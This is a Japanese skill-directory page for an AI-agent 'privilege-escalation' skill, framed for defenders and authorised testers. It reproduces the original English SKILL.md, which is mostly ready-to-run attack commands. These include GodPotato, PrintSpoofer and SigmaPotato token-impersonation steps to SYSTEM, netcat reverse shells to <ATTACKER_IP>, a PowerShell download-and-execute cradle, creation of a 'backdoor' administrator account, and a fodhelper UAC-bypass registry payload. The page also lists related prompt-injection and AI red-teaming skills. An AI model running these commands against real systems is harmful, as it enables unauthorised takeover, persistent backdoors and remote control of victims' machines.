privilege-escalation
できること
このナレッジベースは、権限の低いアカウントがWindowsとLinuxのシステムで、より高い権限を得る方法を扱います。特権設定をレビューする防御側と、許可を得たテスター向けです。
使う場面
- ✓許可されたテストが権限の低いアカウントから始まり、管理者権限への経路を探す必要があるとき。
- ✓チームが、なりすまし権限を持つWindowsのサービスアカウントをレビューしているとき。
- ✓Linuxのチームが、sudo、特別な権限のファイル、カーネルのバージョンを確認したいとき。
スキルのリンク
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/privilege-escalation/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“私たちのWindowsサーバーの1つに、権限の低いアカウントがあります。テストの範囲内で、それが管理者権限に届いてしまわないかを確認してください。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントはまず特権設定の列挙を行い、サービスの権限やなりすまし権限など、最も可能性の高い経路を確認します。修正が必要なものを報告します。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
Privilege Escalation Knowledge Base
Privilege escalation raises access from a low-privilege foothold to SYSTEM/root or administrative context. Windows and Linux have fundamentally different escalation paths. Always enumerate before exploiting — automated tools identify the fastest route.
Quick Reference
# Windows — GodPotato (service account → SYSTEM)
GodPotato.exe -cmd "cmd /c whoami > C:\Windows\Temp\proof.txt"
# Windows — PrintSpoofer (service account → SYSTEM)
PrintSpoofer.exe -i -c cmd
# Windows — winPEAS automated enumeration
winPEASx64.exe servicesinfo applicationsinfo > C:\Windows\Temp\winpeas.txt
# Linux — linPEAS automated enumeration
./linpeas.sh -a | tee linpeas_<TARGET>.txt
# Linux — find SUID binaries
find / -perm -4000 -type f 2>/dev/null | tee suid_<TARGET>.txt
# Linux — check sudo privileges
sudo -l
MITRE ATT&CK Mapping
| Technique ID | Name | Tools |
|---|---|---|
| T1134.001 | Token Impersonation/Theft | GodPotato, PrintSpoofer, SigmaPotato |
| T1548.002 | Bypass UAC | fodhelper.exe, eventvwr.exe, CMSTPLUA COM |
| T1574.001 | DLL Search Order Hijacking | Custom DLL placement |
| T1068 | Exploitation for Privilege Escalation | Kernel exploits, linux-exploit-suggester |
| T1053.003 | Scheduled Task/Cron | Writable cron scripts, PATH injection |
1. Windows Token Impersonation — Potato Family
GodPotato (Most Versatile)
# Execute command as SYSTEM (DCOM-based token impersonation)
GodPotato.exe -cmd "cmd /c whoami"
# Reverse shell as SYSTEM
GodPotato.exe -cmd "cmd /c C:\Windows\Temp\nc.exe <ATTACKER_IP> 4444 -e cmd.exe"
# Add local admin user
GodPotato.exe -cmd "net user backdoor P@ssw0rd123 /add && net localgroup administrators backdoor /add"
# Execute PowerShell payload
GodPotato.exe -cmd "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>/shell.ps1')"
GodPotato Details:
- Works on Windows 8 through 11, Server 2012 through 2022
- Exploits DCOM (Distributed COM) OXID resolver
- Requires:
SeImpersonatePrivilegeorSeAssignPrimaryTokenPrivilege - Common contexts: IIS AppPool, SQL Server, service accounts
PrintSpoofer (Print Spooler Named Pipe)
# Interactive SYSTEM shell
PrintSpoofer.exe -i -c cmd
# Execute specific command as SYSTEM
PrintSpoofer.exe -c "cmd /c whoami > C:\Windows\Temp\proof.txt"
# Reverse shell
PrintSpoofer.exe -c "C:\Windows\Temp\nc.exe <ATTACKER_IP> 4444 -e cmd.exe"
# With PowerShell
PrintSpoofer.exe -i -c powershell.exe
PrintSpoofer Details:
- Works on Windows 10, Server 2016 and 2019
- Exploits Print Spooler service named pipe impersonation
- Requires:
SeImpersonatePrivilege - May fail if Print Spooler service is disabled (hardened environments)
SigmaPotato (Extended GodPotato Fork)
# Standard SYSTEM execution
SigmaPotato.exe --revshell -l <ATTACKER_IP> -p 4444
# Execute arbitrary command
SigmaPotato.exe "cmd /c whoami"
# Uses .NET reflection for in-memory execution
SigmaPotato.exe "powershell -ep bypass -c Get-Process"
SigmaPotato Details:
- Extended OS support beyond GodPotato
- Uses .NET reflection for flexibility
- Same prerequisites:
SeImpersonatePrivilege
Choosing the Right Potato
| Tool | OS Range | Method | Best For |
|---|---|---|---|
| GodPotato | Win 8-11, 2012-2022 | DCOM OXID | Default choice, widest support |
| PrintSpoofer | Win 10, 2016-2019 | Print Spooler pipe | When Spooler is running |
| SigmaPotato | Extended range | DCOM + .NET reflection | GodPotato alternative |
| JuicyPotato | Win 7-10, 2008-2016 | DCOM BITS | Legacy systems only |
| RoguePotato | Win 10 1809+, 2019 | OXID + RPC | When OXID resolver patched |
Check Prerequisites
# Verify you have impersonation privileges
whoami /priv
# Look for: SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
# Common service accounts with SeImpersonatePrivilege:
# - IIS AppPool\DefaultAppPool
# - NT Service\MSSQLSERVER
# - Local Service / Network Service (some configs)
2. UAC Bypass Techniques
fodhelper.exe Bypass
# Set registry key to execute payload when fodhelper runs
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "C:\Windows\Temp\payload.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f
# Trigger UAC bypass
fodhelper.exe
# Cleanup
reg delete HKCU\Software\Classes\ms-settings /f
よくある質問
なぜ最初に列挙するのですか?
ガイドによると、自動化されたチェックが最も早い経路を明らかにするため、テスターは推測せずに済むからです。
トークンのなりすましとは何ですか?
サービスアカウントが、別のログインセッションの権限を引き継げる状態です。ガイドでは、これはよくあるリスクとして扱われています。
防御側はどのように減らせますか?
なりすまし権限を制限し、システムにパッチを当て、不要な特別な権限を削除することです。
詳細
作者による元の説明
Host privilege escalation — Windows token impersonation, UAC bypass, service abuse, DLL hijacking, Linux SUID/sudo/kernel exploits, automated enumeration.
人気
- GitHubのスター
- 6.5k
- ランキング
- #14138
- ライセンス
- Apache-2.0
- 更新日
- 2026/11/1
コメント
- …
このリポジトリの他のスキル
detector-overview
6.5kエージェントが、スキャナーが指摘したコードを読み、本物のセキュリティバグと誤検知を見分けられるよう支援します。
exploiter-overview
6.5kエージェントが、確認済みの複数のセキュリティ上の弱点を一つのテストの連鎖にまとめ、その影響がどこまで及ぶかを確認できるよう支援します。
llm-redteam-overview
6.5kエージェントが、プロンプトインジェクションからモデルの悪用まで、15の戦術グループの中から適切なAIレッドチーム用ガイドを見つけられるよう支援します。
aatmf-t01-prompt-injection
6.5kプロンプトインジェクションを説明します。隠された指示でAIシステムを乗っ取ろうとする手口を、セキュリティテスターが確認できるようにします。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。